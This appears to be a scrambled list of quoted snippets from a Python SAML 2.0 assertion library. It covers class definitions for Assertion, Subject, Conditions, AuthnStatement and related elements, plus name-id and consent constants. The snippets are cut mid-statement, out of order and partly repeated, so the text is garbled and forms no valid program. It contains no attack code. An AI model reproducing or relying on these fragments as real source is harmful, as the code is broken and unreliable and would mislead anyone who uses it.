'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute':", "= ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as email address NAMEID_FORMAT_EMAILADDRESS =", "self.not_before = not_before self.not_on_or_after = not_on_or_after self.recipient = recipient self.in_response_to", "EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag = 'EncryptedAssertion' c_namespace =", "} # entries of xsd-types each declaring: # - a", "saml2.create_class_from_xml_string(EncryptedID, xml_string) class Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag =", "'Statement' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy()", "not_on_or_after self.recipient = recipient self.in_response_to = in_response_to self.address = address", "'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\": 0, \"max\": 1} c_attributes['Method'] =", "= NAMESPACE c_children = AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order =", "pass elif not self.subject: raise MustValueError( \"If no statement MUST", "must include a security header # signing its content. SCM_SENDER_VOUCHES", "'ActionType' c_namespace = NAMESPACE c_value_type = {'base': 'string'} c_children =", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer = issuer", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref']", "audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag:", "proxy_restriction or [] self.not_before = not_before self.not_on_or_after = not_on_or_after def", "'Action' c_namespace = NAMESPACE c_children = ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy()", "content text = ( tree.text.strip() if tree.text and self.extension_elements else", "False) c_attributes['DNSName'] = ('dns_name', 'string', False) def __init__(self, address=None, dns_name=None,", "action=None, evidence=None, resource=None, decision=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text,", "issue_instant=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer =", "element \"\"\" c_tag = 'DecisionType' c_namespace = NAMESPACE c_value_type =", "= SubjectConfirmationType_.c_children.copy() c_attributes = SubjectConfirmationType_.c_attributes.copy() c_child_order = SubjectConfirmationType_.c_child_order[:] c_cardinality =", "\\ self.authn_statement or self.authz_decision_statement: pass elif not self.subject: raise MustValueError(", "{ 'type': float, 'to_type': float, 'to_text': _str, }, 'double': {", "= ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string)", "\"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous subject NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string):", "try: return self._extatt[XSI_TYPE] except KeyError: return \"\" def clear_type(self): try:", "in xsd_types_props else '', xsd_string ] if ':' not in", "'OneTimeUse' c_namespace = NAMESPACE c_children = OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy()", "proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\"", "self.statement = statement or [] self.authn_statement = authn_statement or []", "import encodebytes as b64encode except ImportError: from base64 import b64encode", "saml2 import xmlenc as xenc # authentication information fields NAMESPACE", "# the 3rd party is identified by subject confirmation and", "x: { 'true': True, 'false': False, }[_str(x).lower()], 'to_text': lambda x:", "def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element", "( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] =", "def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Conditions element", "xmlschemas XSI_NIL = '{%s}nil' % XSI_NAMESPACE # idp and sp", "SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality = SubjectLocalityType_.c_cardinality.copy()", "OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag = 'OneTimeUseType' c_namespace =", "= 'OneTimeUseType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes =", "'DecisionType' c_namespace = NAMESPACE c_value_type = {'base': 'string', 'enumeration': ['Permit',", "c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality", "self.not_before = not_before self.not_on_or_after = not_on_or_after def verify(self): if self.one_time_use:", "= ( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] =", "the request with login credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate", "= SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] = {\"min\":", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] =", "0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject) c_cardinality['subject'] = {\"min\":", "SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string,", "( 'conditions', Conditions) c_cardinality['conditions'] = {\"min\": 0, \"max\": 1} c_cardinality['advice']", "node # remove the nil marker if text or self.extension_elements:", "'name_id', 'encrypted_id', 'subject_confirmation']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None, text=None,", "name, Entity identifier, Persistent identifier, Transient identifier.\" \"\"\" c_tag =", "class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag = 'SubjectType' c_namespace", "OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion':", "NAMESPACE c_children = OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:]", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\":", "False) c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self,", "an IPv4 or IPv6 address\") elif self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self)", "Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag = 'Statement' c_namespace =", "the XML tree. for child in tree: self._convert_element_tree_to_member(child) for attribute,", "c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy() def", "format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" # XML-based format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"", "def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element", "ds.Signature) c_cardinality['signature'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject',", "tls/https AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements is key:value", "= EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string):", "subject from a kerberos instance NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") #", "class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag = 'KeyInfoConfirmationDataType' c_namespace", "authenticating_authority or [] def verify(self): if self.authn_context_decl and self.authn_context_decl_ref: raise", "Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag = 'Action' c_namespace =", "return saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion])", "'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "a text node # or other children to this node", "class SubjectLocality(SubjectLocalityType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocality element \"\"\" c_tag = 'SubjectLocality' c_namespace", "self.name_format = name_format self.friendly_name = friendly_name # when consuming such", "= ( 'subject_locality', SubjectLocality) c_cardinality['subject_locality'] = {\"min\": 0, \"max\": 1}", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\": 0,", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context', AuthnContext) c_attributes['AuthnInstant']", "name_id self.encrypted_id = encrypted_id self.subject_confirmation = subject_confirmation or [] def", "AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] =", "assertion_uri_ref or [] self.assertion = assertion or [] self.encrypted_assertion =", "c_cardinality = AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_):", "AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string,", "DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string,", "consent has been obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has", "in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value): if key", "= subject_confirmation or [] def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string) class", "extension_attributes=extension_attributes) self.audience = audience or [] self.count = count def", "= self._extatt if text: self.set_text(text) elif not extension_elements: self.extension_attributes =", "False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self,", "than once\") if self.proxy_restriction: if len(self.proxy_restriction) != 1: raise Exception(\"Cannot", "soap namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" # type definitions for xmlschemas", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return", "\"\"\" c_tag = 'OneTimeUseType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy()", "= 'SubjectLocality' c_namespace = NAMESPACE c_children = SubjectLocalityType_.c_children.copy() c_attributes =", "XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE def get_type(self): try: return", "def _wrong_type_value(xsd, value): msg = 'Type and value do not", "dotted-decimal IPv4 or RFC3513 IPv6 address if valid_ipv4(self.address) or valid_ipv6(self.address):", "c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality', SubjectLocality) c_cardinality['subject_locality'] =", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before', 'dateTime', False)", "ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement", "subject_locality=None, authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self,", "attribute statements is key:value metadata shared with your app #", "EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion])", "corresponding python type # - a function to turn a", "= ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality =", "as b64encode except ImportError: from base64 import b64encode from saml2.validate", "c_attributes = EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def", "c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address', 'string', False) c_attributes['DNSName'] =", "authn_context self.authn_instant = authn_instant self.session_index = session_index self.session_not_on_or_after = session_not_on_or_after", "self._extatt if text: self.set_text(text) elif not extension_elements: self.extension_attributes = {XSI_NIL:", "c_tag = 'Assertion' c_namespace = NAMESPACE c_children = AssertionType_.c_children.copy() c_attributes", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag = 'ActionType' c_namespace = NAMESPACE", "value): if key == \"text\": self.set_text(value) else: SamlBase.__setattr__(self, key, value)", "xsd_string else xsd_string.split(':', 1)) xsd_type_props = xsd_types_props.get(xsd_type, {}) valid_type =", "('friendly_name', 'string', False) c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"}", "assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref", "element \"\"\" c_tag = 'AssertionIDRef' c_namespace = NAMESPACE c_value_type =", "= 'Action' c_namespace = NAMESPACE c_children = ActionType_.c_children.copy() c_attributes =", "0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any = {\"namespace\": \"##other\", \"processContents\":", "pass try: self.extension_attributes[XSI_TYPE] = typ except AttributeError: self._extatt[XSI_TYPE] = typ", "= AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string)", "advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string, AuthnStatementType_.c_tag: authn_statement_type__from_string, SubjectLocality.c_tag:", "version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from base64 import", "True) c_child_order.extend(['action', 'evidence']) def __init__(self, action=None, evidence=None, resource=None, decision=None, text=None,", "= 'AuthnContextDecl' c_namespace = NAMESPACE c_value_type = {'base': 'anyType'} c_children", "assertion with an AuthnStatement must contain a Subject\") return SamlBase.verify(self)", "== \"text\": self.set_text(value) else: SamlBase.__setattr__(self, key, value) def verify(self): if", "KeyError: pass try: del self._extatt[XSI_TYPE] except KeyError: pass def set_text(self,", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data', xenc.EncryptedData)", "with your app # custom format NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\")", "extension_attributes=extension_attributes) self.subject_locality = subject_locality self.authn_context = authn_context self.authn_instant = authn_instant", "encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\"", "= ('dns_name', 'string', False) def __init__(self, address=None, dns_name=None, text=None, extension_elements=None,", "c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement'] = ( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\": 0}", "'ConditionAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "\"\"\" c_tag = 'AttributeStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy()", "element \"\"\" c_tag = 'ConditionsType' c_namespace = NAMESPACE c_children =", "= AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy() def advice_from_string(xml_string):", "pass else: raise ShouldValueError(\"Not an IPv4 or IPv6 address\") elif", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute', [Attribute]) c_cardinality['attribute'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute']", "ValueError, KeyError): # the cast failed _wrong_type_value(xsd=xsd_type, value=value) if type(value)", "'subject_confirmation']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None):", "'subject', 'conditions', 'advice', 'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement']) def __init__(self, issuer=None,", "harvest_element_tree(self, tree): # Fill in the instance members from the", "\"\"\" c_tag = 'Assertion' c_namespace = NAMESPACE c_children = AssertionType_.c_children.copy()", "class AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt = {}", "new version is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based values", "'AuthnStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy()", "'int': { 'type': int, 'to_type': int, 'to_text': _str, }, 'long':", "except KeyError: pass try: del self._extatt[XSI_TYPE] except KeyError: pass def", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data = encrypted_data self.encrypted_key =", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class", "= AudienceRestrictionType_.c_attributes.copy() c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string):", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatementType element \"\"\" c_tag = 'AuthnStatementType' c_namespace = NAMESPACE c_children", "StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality = subject_locality self.authn_context =", "x: _str(x).lower(), }, 'base64Binary': { 'type': _str, 'to_type': _str, 'to_text':", "AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. # ['Assertion', 'AssertionType',", "class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag = 'AuthnContextType' c_namespace", "no claim to consent is made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" #", "= { 'string': { 'type': _str, 'to_type': _str, 'to_text': _str,", "= SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string)", ") return SamlBase.verify(self) def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_):", "'encrypted_id', 'subject_confirmation_data']) def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None, text=None,", "c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality", "saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion']", "= NAMESPACE c_value_type = {'base': 'string', 'enumeration': ['Permit', 'Deny', 'Indeterminate']}", "class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag = 'AttributeStatement' c_namespace", "= ActionType_.c_child_order[:] c_cardinality = ActionType_.c_cardinality.copy() def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string)", "AttributeStatementType_.c_attributes.copy() c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}OneTimeUse'] = ( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] = {\"min\": 0}", "\"\"\" c_tag = 'BaseIDAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context', AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime',", "= {\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self, encrypted_data=None, encrypted_key=None, text=None,", "been obtained explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent has", "c_cardinality['key_info'] = {\"min\": 1} c_child_order.extend(['key_info']) def __init__(self, key_info=None, text=None, extension_elements=None,", "= 'AudienceRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes =", "AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action': Action, 'ActionType': ActionType_, 'Evidence': Evidence, 'EvidenceType':", "= NAMESPACE c_children = SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order =", "= XS_NAMESPACE def get_type(self): try: return self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError):", "avaiable formats NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED',", "consent has been obtained implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent", "else ['', ''] if xsd_string == '' else [ XSD", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\"", "class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag = 'BaseID' c_namespace", "msg = msg.format(xsd=xsd, type=type(value), value=value) raise ValueError(msg) # only work", "element \"\"\" c_tag = 'ProxyRestrictionType' c_namespace = NAMESPACE c_children =", "def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element", "offers the ability to provide name identifiers in a number", "0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority']", "= authenticating_authority or [] def verify(self): if self.authn_context_decl and self.authn_context_decl_ref:", "else: SamlBase.verify(self) def set_type(self, typ): try: del self.extension_attributes[XSI_NIL] except (AttributeError,", "return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag", "x: x, 'to_text': lambda x: x, }, '': { 'type':", "'AssertionIDRef' c_namespace = NAMESPACE c_value_type = {'base': 'NCName'} c_children =", "'anyURI', True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data']) def __init__(self, base_id=None, name_id=None,", "authn_statement_type__from_string, SubjectLocality.c_tag: subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag:", "from the contents of the XML tree. for child in", "\"lax\"} def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None, extension_attributes=None):", "# and expect to not have actual text content text", "parse_xsd.py version 0.4. # # A summary of available specifications", "element \"\"\" c_tag = 'BaseIDAbstractType' c_namespace = NAMESPACE c_children =", "or [] self.attribute_statement = attribute_statement or [] self.version = version", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value = attribute_value or [] self.name =", "# no consent has been obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" #", "attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\"", "'attribute_statement']) def __init__(self, issuer=None, signature=None, subject=None, conditions=None, advice=None, statement=None, authn_statement=None,", "\"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def __init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt =", "to correct type before type-checking if type(value) is _str and", "self.assertion_id_ref = assertion_id_ref or [] self.assertion_uri_ref = assertion_uri_ref or []", "'AttributeStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy()", "or \\ self.authn_statement or self.authz_decision_statement: pass elif not self.subject: raise", "SamlBase.__setattr__(self, key, value) def verify(self): if not self.text and not", "c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute']", "subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag:", "c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality'] = ( 'subject_locality',", "= ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string)", "('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) # a profile outlines a set of", "type definitions for xmlschemas XSI_TYPE = '{%s}type' % XSI_NAMESPACE #", "SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag = 'SubjectConfirmationDataType' c_namespace =", "c_namespace = NAMESPACE c_children = EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy() c_child_order", 